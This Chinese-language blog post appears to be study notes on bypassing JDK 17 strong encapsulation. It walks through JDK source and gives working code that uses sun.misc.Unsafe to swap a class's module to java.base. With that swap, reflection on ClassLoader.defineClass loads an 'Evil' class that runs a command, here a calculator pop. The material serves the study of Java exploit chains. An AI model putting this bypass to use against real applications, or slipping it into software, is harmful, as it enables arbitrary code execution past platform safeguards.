JDK17下的反射绕过
在前面链子的学习中,可以发现很多链子的使用都需要用到反射,包括最经典的动态加载字节码,我们都是通过反射来进行的类变量的设置。但是随着JDK版本的更替,在jdk17版本后,真正意义上对反射进行了限制。
下面从几个方面来了解JDK17下的限制以及如何进行绕过。
记得改jdk配置,还是参考如下文章即可:
https://blog.csdn.net/qq_41813208/article/details/107784268
下面这个地方容易忘:

——————————
前情提要
模块化机制简单了解
从JDK9开始,就不得不提到一个新的机制:模块化系统。
这个模块化系统是什么呢?随着Java的发展,要使用的代码逐渐增多,添加的自定义库或第三方依赖越来越多,可能造成包访问冲突以及兼容性问题,所以在JDK9过后,提出了一个模块化系统来改善这个情况。可以将一些的代码封装成一个a模块并实现一些功能,并通过当前模块中的module-info.java文件中的定义,使得可以直接定义到一些a模块需要调用的b模块的类的位置,以防出现ClassNotFoundException的异常。
在当前模块内部的类的调用是没有限制的,但是不同模块中的调用是有限制的,比如a模块只能调用b模块的export的类,简单的例子如下:
1
2
3
4
5
|
module com.example.modulea {
requires com.example.moduleb; // 依赖于模块moduleb
exports com.example.modulea.publicpackage; // 对外公开的包
}
//module-info.java
|
由于模块化机制让一部分类并没有被公开,所以影响到了反射的利用。
jdk17新特性-强封装
反射利用,从jdk9到jdk16都没有禁止,只是提出警告,直到jdk17的新特性才禁止,也就是强封装。
在官方文档中的说法:一些工具和库使用反射来访问JDK中仅供内部使用的部分。这种反射的使用会对JDK的安全性和可维护性产生负面影响。为了帮助迁移,JDK 9到JDK 16允许这种反射继续进行,但是会发出关于非法反射访问的警告。但是,JDK 17是强封装的,因此默认情况下不再允许此反射。访问java.*
的非公共字段和方法的代码会报错InaccessibleObjectException。
但是sun.misc
and sun.reflect
下的包还是可以使用反射的。
在这里就是要利用到.sun.misc.UnSafe
类来进行绕过利用。
实例说明
这里利用defineClass()方法来进行调用加载,具体代码就不说了,就是一个获取到相关class文件的base64编码内容的方法调用:
然后反射调用defineClass()方法来加载,我这里是直接使用javassist来加载一个类:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
package org.example;
import javassist.*;
import java.lang.reflect.Method;
public class Main{
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass cc = classPool.makeClass("Evil");
CtConstructor constructor = new CtConstructor(new CtClass[]{}, cc);
constructor.setBody("{ try {\n" +
" Runtime.getRuntime().exec(\"open -a Calculator\");\n" +
" } catch (Exception e) {\n" +
" System.exit(0);\n" +
" } }");
cc.addConstructor(constructor);
byte[] classBytes = cc.toBytecode();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
Class clazz = (Class)method.invoke(ClassLoader.getSystemClassLoader(), "Evil", classBytes, 0, classBytes.length);
clazz.newInstance();
}
}
|
运行后成功弹出计算机,无任何错误。
还是之前的代码,运行后同样可以弹出计算机,但是会在控制台输出警告的内容:
1
2
3
4
5
|
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.example.Main (file:/java_learn/maven_text/target/test-classes/) to method java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int)
WARNING: Please consider reporting this to the maintainers of org.example.Main
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
|
直接报错如下:
1
2
3
4
5
6
|
Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @673bfdf3
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
at org.example.Main.main(Main.java:21)
|
绕过分析
从jdk17的报错来看就是在setAccessible()出了问题,跟进报错提出的方法:
1
2
3
4
5
|
public void setAccessible(boolean flag) {
AccessibleObject.checkPermission();
if (flag) checkCanSetAccessible(Reflection.getCallerClass());
setAccessible0(flag);
}
|
可以看到这里是通过checkCanSetAccessible()方法来判断对应反射调用的类是否可以直接利用,继续跟进到关键的代码:

可以看出这里的Reflection.getCallerClass()
就是看整个程序发起的caller,也就是这里的Main,而clazz就是反射调用的类的class对象,继续跟进:

关键的checkCanSetAccessible()全代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
private boolean checkCanSetAccessible(Class<?> caller,
Class<?> declaringClass,
boolean throwExceptionIfDenied) {
if (caller == MethodHandle.class) {
throw new IllegalCallerException(); // should not happen
}
Module callerModule = caller.getModule();
Module declaringModule = declaringClass.getModule();
if (callerModule == declaringModule) return true;
if (callerModule == Object.class.getModule()) return true;
if (!declaringModule.isNamed()) return true;
String pn = declaringClass.getPackageName();
int modifiers;
if (this instanceof Executable) {
modifiers = ((Executable) this).getModifiers();
} else {
modifiers = ((Field) this).getModifiers();
}
// class is public and package is exported to caller
boolean isClassPublic = Modifier.isPublic(declaringClass.getModifiers());
if (isClassPublic && declaringModule.isExported(pn, callerModule)) {
// member is public
if (Modifier.isPublic(modifiers)) {
return true;
}
// member is protected-static
if (Modifier.isProtected(modifiers)
&& Modifier.isStatic(modifiers)
&& isSubclassOf(caller, declaringClass)) {
return true;
}
}
// package is open to caller
if (declaringModule.isOpen(pn, callerModule)) {
return true;
}
if (throwExceptionIfDenied) {
// not accessible
String msg = "Unable to make ";
if (this instanceof Field)
msg += "field ";
msg += this + " accessible: " + declaringModule + " does not \"";
if (isClassPublic && Modifier.isPublic(modifiers))
msg += "exports";
else
msg += "opens";
msg += " " + pn + "\" to " + callerModule;
InaccessibleObjectException e = new InaccessibleObjectException(msg);
if (printStackTraceWhenAccessFails()) {
e.printStackTrace(System.err);
}
throw e;
}
return false;
}
|
在代码后面部分,可以看到报错的内容,并且从参数传递来看,这里就是需要到if (throwExceptionIfDenied)
判断部分前成功返回true从而退出,不然就肯定会报错退出。再看前面的代码:

这里的getModule()方法就是获取模块的路径,如果发起类的模块和被反射类的模块是一样的,那么就直接返回true,但是重点的就是这第二个判断方式(根据后面的利用方法,),如果发起类的模块位置和Object.class的位置相同,那么就可以直接返回true。
Object.class的如下:

是和被反射的类相同,但是和我们发起的类模块位置不同:

那么如何利用呢,这里就需要利用到UnSafe类,这是一个非常强大的类,可以操作内存空间,并且这个类位于sun.misc
,在所有jdk版本都是可以直接反射调用的,并且其存在一个关键的方法:

这个方法可以自动地将给定的参考值与给定对象中字段或数组元素的当前参考值进行交换。
从参数中可以看出需要字段或数组元素的地址的偏移量,同样这个UnSafe类给出了一个获取字段的内存的偏移量的objectFieldOffset()方法:

所以现在的思路就是通过UnSafe的这个类,来将我们的发起类的getModule()返回的结果和Object.class的结果变得一样,那么就可以成功返回true从而正常反射调用。
故现在可以使用如下的代码来尝试将module修改成想要的值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
import sun.misc.Unsafe;
import java.lang.Module;
import java.lang.reflect.Field;
public class Main {
public static void main(String[] args) throws Exception {
System.out.println("修改前:"+Main.class.getModule());
//修改中
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
Module targetModule = Object.class.getModule();
unsafe.getAndSetObject(Main.class, offset,targetModule);
System.out.println("修改后:"+Main.class.getModule());
}
}
/*output:
修改前:unnamed module @673bfdf3
修改后:module java.base
*/
|
可以看到成功将当前未命名的模块改成了Object.class对应的module的模块位置,从而可以成功调用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
import sun.misc.Unsafe;
import java.lang.Module;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javassist.*;
public class Main {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass cc = classPool.makeClass("Evil");
CtConstructor constructor = new CtConstructor(new CtClass[]{}, cc);
constructor.setBody("{ try {\n" +
" Runtime.getRuntime().exec(\"open -a Calculator\");\n" +
" } catch (Exception e) {\n" +
" System.exit(0);\n" +
" } }");
cc.addConstructor(constructor);
byte[] classBytes = cc.toBytecode();
patchModule(Main.class);
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
Class clazz = (Class)method.invoke(ClassLoader.getSystemClassLoader(), "Evil", classBytes, 0, classBytes.length);
clazz.newInstance();
}
private static void patchModule(Class clazz) throws Exception {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
Module targetModule = Object.class.getModule();
unsafe.getAndSetObject(clazz, offset,targetModule);
}
}
|
运行成功弹出计算机。
其实就是将当前运行的类的模块位置改得和Object.class的一样,这样就能无论反射要调用的类是什么,都能成功反射调用。
并且Unsafe中还有很多可以利用,比如putObject()函数也可以修改,还可以直接使用jdk.internal.misc.Unsafe此路径下的Unsafe,因为sun.misc.Unsafe本质其实就是调用的这个类的方法进行的获取以及修改:

后续遇到再说。
参考文章:
https://docs.oracle.com/en/java/javase/17/migrate/migrating-jdk-8-later-jdk-releases.html#GUID-7BB28E4D-99B3-4078-BDC4-FC24180CE82B
https://stoocea.github.io/post/JDK%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84%E6%A8%A1%E5%9D%97%E5%8C%96%E4%BB%A5%E5%8F%8A%E5%8F%8D%E5%B0%84%E7%B1%BB%E5%8A%A0%E8%BD%BD%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87.html#JDK9%E4%B9%8B%E5%90%8E%E7%9A%84%E6%A8%A1%E5%9D%97%E5%8C%96
https://pankas.top/2023/12/05/jdk17-%E5%8F%8D%E5%B0%84%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87/
https://blog.csdn.net/weixin_36123300/article/details/147782120